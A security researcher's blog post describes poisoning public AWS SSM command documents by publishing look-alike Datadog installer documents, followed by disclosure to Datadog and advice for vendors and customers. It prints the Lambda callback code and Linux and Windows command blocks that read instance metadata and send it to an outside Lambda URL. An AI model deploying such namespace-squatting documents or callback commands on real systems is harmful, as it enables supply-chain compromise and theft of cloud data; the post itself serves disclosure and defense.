Public SSM Documents are bundles of arbitrary code with opaque ownership. Be careful using them to distribute or consume software! Read on for my successful experience poisoning Datadog command documents. 😏

I recently researched Publicly Exposed AWS SSM Command Documents, generating more evidence that Access Keys will leak anywhere there are public resources available.

While working on that project, I found that Public SSM Documents were sometimes provided by vendors for software installation or distribution. This is a story of how I tried to use that for evil.

For example, Crowdstrike offers an Automation Document¹ for Sensor installation:

Looking at the full data set of global SSM Command Documents, I noticed datadog-agent-installation-linux and datadog-agent-installation-windows across almost every region².

Here’s an example:

A quick Google search later, and I found the relevant documentation: Easily install the Datadog Agent using AWS Systems Manager

Poisoning the SSM Command Document Well

The difference in the Owner field immediately jumped out between the CrowdStrike and DataDog documents. The DataDog document just lists an AWS Account ID, versus the usage of “Crowdstrike, Inc.” in the other case.

As a maintainer on fwd:cloudsec’s known_aws_accounts project, I’m intimately familiar with Account IDs as semi-anonymous identifiers.

So I wondered, what was stopping an attacker creating their own datadog-agent-installation-linux document? Would the average user notice a different Account ID?

Demo

Initially, this can be seen as a vague “documentation issue,” so I wanted to put together an end-to-end demo before reporting it as a vulnerability.

First, I used a Lambda Function (w/ Function URL) and SNS to create a simple callback mechanism.

The lambda function simply pipes a few parameters from any GET request to SNS. SNS then shoots them to me as an email.

import json
import boto3

def publish_sns(queryStringParameters):
    arn = 'arn:aws:sns:us-east-2:<ACCOUNT_ID>:research_results'
    client = boto3.client('sns')
    response = client.publish(
        TargetArn=arn,
        Message=json.dumps({'default': json.dumps(queryStringParameters)}),
        MessageStructure='json'
    )
    
def error_return():
    return {
        'statusCode': 400,
    }

def success_return():
    return {
        'statusCode': 200,
        'body': json.dumps('Hello from Lambda!')
    }
    
def success_action(event):
    print(event['queryStringParameters'])
    publish_sns(event['queryStringParameters'])
    

def check_params(params):
    if not params.get('hostname'):
        return False
    elif not params.get('accountid'):
        return False
    elif not params.get('instanceid'):
        return False
    else:
        return True


def lambda_handler(event, context):
    if not event.get('queryStringParameters'):
        error_return()
    elif check_params(event['queryStringParameters']):
        success_action(event)
        success_return()
    else:
        error_return()

Then, I simply made copies of Datadog’s official command documents, but added the following script. It uses IMDS to retrieve non-sensitive metadata on the instance, and sends that data off to the Lambda URL I configured.

Linux:

    {
      "action": "aws:runShellScript",
      "name": "GetAndReportInfoForSecurityResearch",
      "inputs": {
        "runCommand": [
          "TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`",
          "HOSTNAME=`curl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/local-hostname`",
          "IID=`curl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/instance-id`",
          "AID=`curl  -H \"X-aws-ec2-metadata-token: $TOKEN\" -s http://169.254.169.254/latest/dynamic/instance-identity/document | sed -nE 's/.*\"accountId\"\\s*:\\s*\"(.*)\".*/\\1/p'`",
          "curl \"https://<URL>.lambda-url.us-east-2.on.aws/?accountid=$AID&instanceid=$IID&hostname=$HOSTNAME\""
        ]
      }
    },

Windows:

- action: aws:runPowerShellScript
  name: GetAndReportInfoForSecurityResearch
  inputs:
    runCommand:
    - |
     # This document is part of a security research exercise
     # Use of this document results in a callback with metadata
     # Installation has not been changed
     # Contact ramimac.me with any questions
     # Get the token
     $token = Invoke-RestMethod -Method Put -Uri "http://169.254.169.254/latest/api/token" -Headers @{"X-aws-ec2-metadata-token-ttl-seconds"="21600"}
     # Get the hostname
     $hostname = Invoke-RestMethod -Uri "http://169.254.169.254/latest/meta-data/local-hostname" -Headers @{"X-aws-ec2-metadata-token"=$token}
     # Get the instance id
     $instanceId = Invoke-RestMethod -Uri "http://169.254.169.254/latest/meta-data/instance-id" -Headers @{"X-aws-ec2-metadata-token"=$token}
     # Get the account id
     $instanceIdentityDocument = Invoke-RestMethod -Uri "http://169.254.169.254/latest/dynamic/instance-identity/document" -Headers @{"X-aws-ec2-metadata-token"=$token}
     $accountId = ($instanceIdentityDocument | ConvertFrom-Json).accountId
     # Callback
     Invoke-RestMethod -Uri "https://<URL>>.lambda-url.us-east-2.on.aws/?accountid=$accountId&instanceid=$instanceId&hostname=$hostname"- action: aws:runPowerShellScript

Finally, I made my “poisoned” documents public. Without raising the Service Quota of 5 public documents, I focused on two avenues:

1. I published versions of the documents to us-east-1 and us-east-2, as I suspect these are popular regions for Datadog customers
2. I published datadog-agent-installation-linux to il-central-1. As I hinted at above, I noticed Datadog hadn’t published SSM Command Documents in il-central-1 and ca-west-1. It’s likely this is just a failure to keep up with new regions, but it increases the odds I’d be able to trick someone, albeit in much lower volume environments.

Result

Having set my trap, here’s what someone following Datadog’s documentation would have encountered:

If you refer back to Datadog’s documentation, you’ll find that the Account ID in their screenshot at the time doesn’t match the account ID of the official image. In this case, the first results are actually for my “poisoned” documents, while the documents with the Account ID 865... are Datadog’s.

Impact

Running a malicious command document allows an attacker full command execution on the relevant managed node (i.e EC2 instance). This would include ability to exfiltrate credentials from IMDS (even IMDSv2).

🪩 During the ~15 days my demo was live, I successfully poisoned a single AWS account ID. They ran my document against 3 separate EC2 instances.

Disclosure

With a convincing demonstration set up in the wild, it was time to reach out to Datadog.

Datadog has a well documented policy around security reports, and were easily reachable via email. This bug was considered “social engineering” and was not eligible for a bounty.

They pushed out improved documentation quickly, and were receptive to other hardening proposals. Thank you to everyone who I worked with over there!

Timeline

(all times in ET)
Jul 8, 12:20 PM - disclosed via email
Jul 8, 1:51 PM - report acknowledged (“Thank you for bringing this to our attention. We appreciate the commitment to responsible disclosure. We are currently looking into this issue. Although we don’t typically accept social engineering type of issues in our Hackerone bug bounty program, we’d gladly take other submissions via the program. If you are interested in joining, we will be happy to send you an invite.”)
Jul 10 - relevant documentation was been updated, linking to the official documents and explicitly calling out the official account ID and the full ARN
Jul 17, 10:00 AM - Bumped email thread to inquire after status and check whether additional mitigations are planned, prior to disclosing
Jul 25, 11:03 AM - Datadog responds, confirming they will also monitor for any new documents containing datadog and work with AWS to remove them if they are malicious. They also state they are working with AWS to get the “Owner” listed as Datadog instead of the account ID.
Jul 25, 1:13 PM - I confirm removal of my “poisoned” documents

A note on bug bounty program terms

I appreciate Datadog’s invite to their bug bounty program.

However, their terms are standard for Private Programs: an onerous Vulnerability Disclosure Process that puts the power in the hands of the company while researchers are “not guaranteed any compensation or credit.”

I value my ability to share publicly on my research, especially in cases where a bounty is not involved.

Takeaways

For vendors - consider alternative methods of installation automation. If you must use public command documents, consider:

1. Making clear documentation that includes the full ARN
2. Monitoring for any documents “squatting” your namespace
3. Figure out if you can get the “CrowdStrike” treatment and get your name on your documents
4. Think about supply chain risks in how you secure creation and management of such documents

For customers - SSM Command Documents are bundles of arbitrary code. Closely review the contents before running any document against your account!